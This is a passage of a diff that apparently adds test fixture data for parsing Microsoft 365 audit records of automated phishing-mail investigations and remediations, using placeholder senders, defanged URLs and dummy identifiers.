quarantine]\"],\"AuthDetails\":[{\"Name\":\"DKIM\",\"Value\":\"None\"},{\"Name\":\"DMARC\",\"Value\":\"None\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"Url\":\"https://test.local/-\",\"Type\":\"url\",\"ClickCount\":0,\"EmailCount\":86,\"Urn\":\"urn:UrlEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"5\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,P2SenderDomain\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;P2SenderDomain;ContentType\",\"ClusterByValue\":\"5555555555;example.com;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"6\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (AntispamDirection:\\\"3\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,P2SenderDomain,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;P2SenderDomain;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;example.com;3;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"7\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":2,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":2},\"CountByDeliveryLocation\":{\"Quarantine\":2},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":2,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,SenderIp\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;SenderIp;ContentType\",\"ClusterByValue\":\"5555555555;81.2.69.144;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"8\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (AntispamDirection:\\\"3\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,SenderIp,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;SenderIp;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;81.2.69.144;3;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"9\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":86,\"Phish\":0,\"Malware\":0,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":70},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Threat_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}",
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "Operation": "AirInvestigationData",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "EndTimeUtc": "2023-12-31T23:59:59",
+ "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "Workload": "AirInvestigation",
+ "RecordType": 64,
+ "Version": 1,
+ "UserId": "AirInvestigation",
+ "CreationTime": "2023-12-31T23:59:59",
+ "InvestigationName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4,
+ "RunningTime": "619",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59"
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Status\":\"Remediated\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Skipped\",\"Entities\":[{\"$id\":\"2\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"InvestigationType\":\"ZappedEmailInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"Resolved\\\",\\\"DetectionTechnology\\\":\\\"FingerPrintMatch\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"FullyRemediated\\\"}],\\\"InvestigationIds\\\":[\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages removed after delivery\\\",\\\"Description\\\":\\\"Malicious emails were delivered and later removed -V1.0.0.2\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"bounce@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"DeliveredAsSpam\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"en\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"JunkFolder\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"pass\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Address\\\":\\\"81.2.69.144\\\",\\\"Type\\\":\\\"ip\\\",\\\"Urn\\\":\\\"urn:IPEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"1\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;1;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"2314\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}"
+ },
+ "o365audit": {
+ "Status": "Remediated",
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Actions": [
+ {
+ "$id": "1",
+ "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890",
+ "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "ActionApproval": "None",
+ "ActionType": "EmailRemediation",
+ "ActionStatus": "Skipped",
+ "Entities": [
+ {
+ "$id": "2",
+ "Recipient": "user@example.com",
+ "Urls": [
+ "hxxp://test.local",
+ "hxxp://test.local",
+ "hxxp://test.local"
+ ],
+ "Threats": [
+ "ZapPhish",
+ "HighConfPhish"
+ ],
+ "Sender": "sender@example.com",
+ "P1Sender": "bounce@example.com",
+ "P1SenderDomain": "example.com",
+ "SenderIP": "81.2.69.144",
+ "P2Sender": "sender@example.com",
+ "P2SenderDisplayName": "name",
+ "P2SenderDomain": "example.com",
+ "ReceivedDate": "2023-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "InternetMessageId": "",
+ "Subject": "subject",
+ "DeliveryAction": "DeliveredAsSpam",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "Language": "en",
+ "DeliveryLocation": "Quarantine",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "AdditionalActionsAndResults": [
+ "OriginalDelivery: [N/A]"
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Pass"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "pass"
+ }
+ ],
+ "SystemOverrides": [],
+ "Type": "mailMessage",
+ "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890",
+ "Source": "OATP",
+ "FirstSeen": "2023-12-31T23:59:59"
+ }
+ ],
+ "RelatedAlertIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "TimestampUtc": "2023-12-31T23:59:59",
+ "BulkName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "ResourceIdentifiers": [
+ {
+ "$id": "3",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "PendingType": "User",
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox."
+ }
+ ],
+ "InvestigationType": "ZappedEmailInvestigation",
+ "UserKey": "AirInvestigation",
